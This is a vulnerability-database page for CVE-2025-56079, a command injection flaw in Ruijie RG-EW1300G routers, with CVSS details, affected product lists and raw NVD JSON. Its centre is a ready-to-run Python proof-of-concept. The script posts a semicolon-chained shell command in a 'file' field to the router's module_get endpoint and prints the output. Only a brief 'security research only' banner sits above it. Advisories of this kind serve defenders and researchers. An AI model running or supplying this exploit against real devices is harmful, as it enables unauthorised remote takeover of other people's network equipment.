Security Vulnerability Report
中文
CVE-2025-56079 CVSS 8.8 HIGH

CVE-2025-56079

Published: 2025-12-11 18:16:20
Last Modified: 2025-12-26 14:32:23

Description

OS Command Injection vulnerability in Ruijie RG-EW1300G EW1300G V1.00/V2.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1300g_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1300g:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1300g:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1300g:4.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:be50_firmware:ew_3.0\(1\)b11p258:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:be50:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1300G EW1300G V1.00
Ruijie RG-EW1300G EW1300G V2.00
Ruijie RG-EW1300G EW1300G V4.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56079 PoC - Ruijie RG-EW1300G OS Command Injection # Target: Ruijie RG-EW1300G EW1300G (V1.00/V2.00/V4.00) def exploit(target_ip, target_port=80, command='id'): """ Exploit OS Command Injection in Ruijie RG-EW1300G Args: target_ip: Target device IP address target_port: Target device port (default: 80) command: Command to execute on target """ url = f'http://{target_ip}:{target_port}/cgi-bin/luci/api/module_get' # Inject command via file parameter # Using semicolon to chain commands payload = f';{command}#' data = { 'file': payload } try: response = requests.post(url, data=data, timeout=10) print(f'Status Code: {response.status_code}') print(f'Response:\n{response.text}') return response except requests.exceptions.RequestException as e: print(f'Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [command]') print(f'Example: python {sys.argv[0]} 192.168.1.1 "id"') sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'id' exploit(target, 80, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56079", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.190", "lastModified": "2025-12-26T14:32:23.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1300G EW1300G V1.00/V2.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1300g_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "E7468883-627E-4EB9-B3AA-75B2C1088A57"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1300g:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C5CC2255-673E-4591-860A-FFF8126878EA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1300g:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "167EC9A8-98A5-4ED3-9C9B-9FFE0919E8E7"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1300g:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "9BDB1446-A33C-4181-8BE5-BCD2955458A2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:be50_firmware:ew_3.0\\(1\\)b11p258:*:*:*:*:*:*:*", "matchCriteriaId": "7205C9BF-2837-4ECB-81B7-96ED2FB352E5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:be50:-:*:*:*:*:*:*:*", "matchCriteriaId": "63D83499-3763-4C93-A194-1F4B27DE4C2C"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EjGDN1e4xfZOhROI3hzjKr0Bb9TVCN03MAR_VK56P8V3Ug?e=NmUXvt", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EZdYNxRd8ilMrCRXLnltUKEBiBXJzrTc9i7Y643cuho9PA?e=7Bifxw", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56079.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}